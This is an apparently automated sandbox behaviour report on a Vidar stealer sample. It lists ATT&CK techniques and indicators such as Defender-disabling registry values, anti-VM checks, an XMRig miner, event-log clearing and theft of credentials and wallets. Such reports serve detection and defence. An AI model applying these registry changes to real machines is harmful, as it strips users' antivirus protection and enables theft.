vidar | 86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 28 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIntrusionPreventionSystem = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableBehaviorMonitoring = "0"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableIOAVProtection = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableRealtimeMonitoring = "0"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableIntrusionPreventionSystem = "0"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableOnAccessProtection = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideRealtimeScanDirection = "0"	reg.exe

Modifies Windows Defender notification settings 3 TTPs 6 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 3872 created 616	3872	powershell.EXE	5
PID 1956 created 616	1956	powershell.EXE	5
PID 4796 created 616	4796	powershell.EXE	5

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	chrome_144.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	lGMhUOXJpE.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Chrome145.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	7dNTEKTsLz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Chrome145.exe

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral1/memory/5532-407-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral1/memory/5532-408-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral1/memory/5532-416-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral1/memory/5532-415-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral1/memory/5532-413-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral1/memory/5532-412-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral1/memory/5532-409-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral1/memory/5532-411-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral1/memory/5532-410-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3872	powershell.EXE
4796	powershell.EXE
5376	powershell.EXE
1956	powershell.EXE
3820	powershell.exe
5512	powershell.exe
1228	powershell.exe
3924	powershell.exe
2592	powershell.exe
5584	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
139	612	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe

Drops file in Drivers directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	7dNTEKTsLz.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	chrome_144.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	lGMhUOXJpE.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	chrome_144.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	lGMhUOXJpE.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7dNTEKTsLz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7dNTEKTsLz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 8 IoCs

pid	Process
4156	lGMhUOXJpE.exe
1608	Chrome145.exe
5052	7dNTEKTsLz.exe
5784	Chrome145.exe
3900	chrome_144.exe
2156	updater.exe
4292	updater.exe
6076	updater.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-RestartManager%4Operational.evtx	svchost.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Themida packer 44 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x00080000000244db-180.dat	themida
behavioral1/memory/4156-181-0x0000000000130000-0x0000000000BC0000-memory.dmp	themida
behavioral1/memory/4156-182-0x0000000000130000-0x0000000000BC0000-memory.dmp	themida
behavioral1/memory/4156-183-0x0000000000130000-0x0000000000BC0000-memory.dmp	themida
behavioral1/memory/4156-184-0x0000000000130000-0x0000000000BC0000-memory.dmp	themida
behavioral1/memory/4156-187-0x0000000000130000-0x0000000000BC0000-memory.dmp	themida
behavioral1/memory/4156-186-0x0000000000130000-0x0000000000BC0000-memory.dmp	themida
behavioral1/memory/4156-185-0x0000000000130000-0x0000000000BC0000-memory.dmp	themida
behavioral1/memory/4156-188-0x0000000000130000-0x0000000000BC0000-memory.dmp	themida
behavioral1/memory/1608-193-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/1608-196-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/1608-199-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/1608-200-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/1608-198-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/files/0x00070000000244e2-206.dat	themida
behavioral1/memory/1608-201-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/5052-207-0x00007FF614030000-0x00007FF614FFC000-memory.dmp	themida
behavioral1/memory/1608-197-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/1608-195-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/5052-208-0x00007FF614030000-0x00007FF614FFC000-memory.dmp	themida
behavioral1/memory/5052-209-0x00007FF614030000-0x00007FF614FFC000-memory.dmp	themida
behavioral1/memory/5052-210-0x00007FF614030000-0x00007FF614FFC000-memory.dmp	themida
behavioral1/memory/5784-212-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/5784-214-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/5784-213-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/5784-215-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/5784-216-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/5784-217-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/5784-219-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/5784-218-0x0000000000B60000-0x00000000015F0000-memory.dmp	themida
behavioral1/memory/3900-254-0x00007FF7D0160000-0x00007FF7D112C000-memory.dmp	themida
behavioral1/memory/3900-255-0x00007FF7D0160000-0x00007FF7D112C000-memory.dmp	themida
behavioral1/memory/3900-257-0x00007FF7D0160000-0x00007FF7D112C000-memory.dmp	themida
behavioral1/memory/3900-256-0x00007FF7D0160000-0x00007FF7D112C000-memory.dmp	themida
behavioral1/memory/3900-258-0x00007FF7D0160000-0x00007FF7D112C000-memory.dmp	themida
behavioral1/memory/5052-262-0x00007FF614030000-0x00007FF614FFC000-memory.dmp	themida
behavioral1/memory/2156-369-0x00007FF600FC0000-0x00007FF601F8C000-memory.dmp	themida
behavioral1/memory/2156-370-0x00007FF600FC0000-0x00007FF601F8C000-memory.dmp	themida
behavioral1/memory/2156-371-0x00007FF600FC0000-0x00007FF601F8C000-memory.dmp	themida
behavioral1/memory/2156-372-0x00007FF600FC0000-0x00007FF601F8C000-memory.dmp	themida
behavioral1/memory/5052-365-0x00007FF614030000-0x00007FF614FFC000-memory.dmp	themida
behavioral1/memory/2156-424-0x00007FF600FC0000-0x00007FF601F8C000-memory.dmp	themida
behavioral1/memory/4292-1296-0x00007FF7E3370000-0x00007FF7E433C000-memory.dmp	themida
behavioral1/memory/4292-1415-0x00007FF7E3370000-0x00007FF7E433C000-memory.dmp	themida

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 4 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
Key opened	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
Key opened	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
Key opened	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 8 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lGMhUOXJpE.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7dNTEKTsLz.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	chrome_144.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Modifies Security services 2 TTPs 3 IoCs

Modifies the startup behavior of a security service.

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe

Power Settings 1 TTPs 16 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
676	powercfg.exe
4920	powercfg.exe
2408	powercfg.exe
5128	powercfg.exe
4840	powercfg.exe
5564	powercfg.exe
1116	powercfg.exe
3780	powercfg.exe
2580	powercfg.exe
5748	powercfg.exe
5564	powercfg.exe
2580	powercfg.exe
5892	powercfg.exe
5716	powercfg.exe
5200	powercfg.exe
5908	powercfg.exe

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe
File opened for modification	C:\Windows\system32\MRT.exe	7dNTEKTsLz.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\dialersvc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
4156	lGMhUOXJpE.exe
1608	Chrome145.exe
5052	7dNTEKTsLz.exe
5784	Chrome145.exe
3900	chrome_144.exe
2156	updater.exe
4292	updater.exe
6076	updater.exe

Suspicious use of SetThreadContext 13 IoCs

description	pid	Process	procid_target
PID 1608 set thread context of 4428	1608	Chrome145.exe	187
PID 5052 set thread context of 1648	5052	7dNTEKTsLz.exe	308
PID 2156 set thread context of 4668	2156	updater.exe	258
PID 2156 set thread context of 516	2156	updater.exe	263
PID 2156 set thread context of 5532	2156	updater.exe	264
PID 3872 set thread context of 4260	3872	powershell.EXE	268
PID 1956 set thread context of 4468	1956	powershell.EXE	269
PID 4292 set thread context of 848	4292	updater.exe	292
PID 4292 set thread context of 3112	4292	updater.exe	297
PID 1608 set thread context of 3264	1608	Chrome145.exe	298
PID 4796 set thread context of 5080	4796	powershell.EXE	357
PID 6076 set thread context of 2340	6076	updater.exe	330
PID 6076 set thread context of 5016	6076	updater.exe	331

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\va.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ar.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ne.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spl.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\yo.txt	Chrome145.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\ThirdPartyNotices.ja-jp.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eu.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ka.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz-cyrl.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\History.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fr.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ro.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sa.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-tw.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mn.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ru.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tr.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\es.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fur.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ps.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ca.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cs.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\is.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sq.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\da.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gl.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\id.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	Chrome145.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\ThirdPartyNotices.MSHWLatin.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\et.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\it.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nn.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\af.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hy.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kab.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ky.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lt.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\si.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sl.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sv.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sw.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ba.txt	Chrome145.exe

Launches sc.exe 24 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3764	sc.exe
2576	sc.exe
2492	sc.exe
3472	sc.exe
4168	sc.exe
656	sc.exe
2996	sc.exe
4660	sc.exe
2332	sc.exe
4904	sc.exe
5664	sc.exe
4196	sc.exe
2092	sc.exe
5248	sc.exe
2488	sc.exe
4464	sc.exe
3320	sc.exe
656	sc.exe
4880	sc.exe
3688	sc.exe
728	sc.exe
1984	sc.exe
1996	sc.exe
5236	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 50 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lGMhUOXJpE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
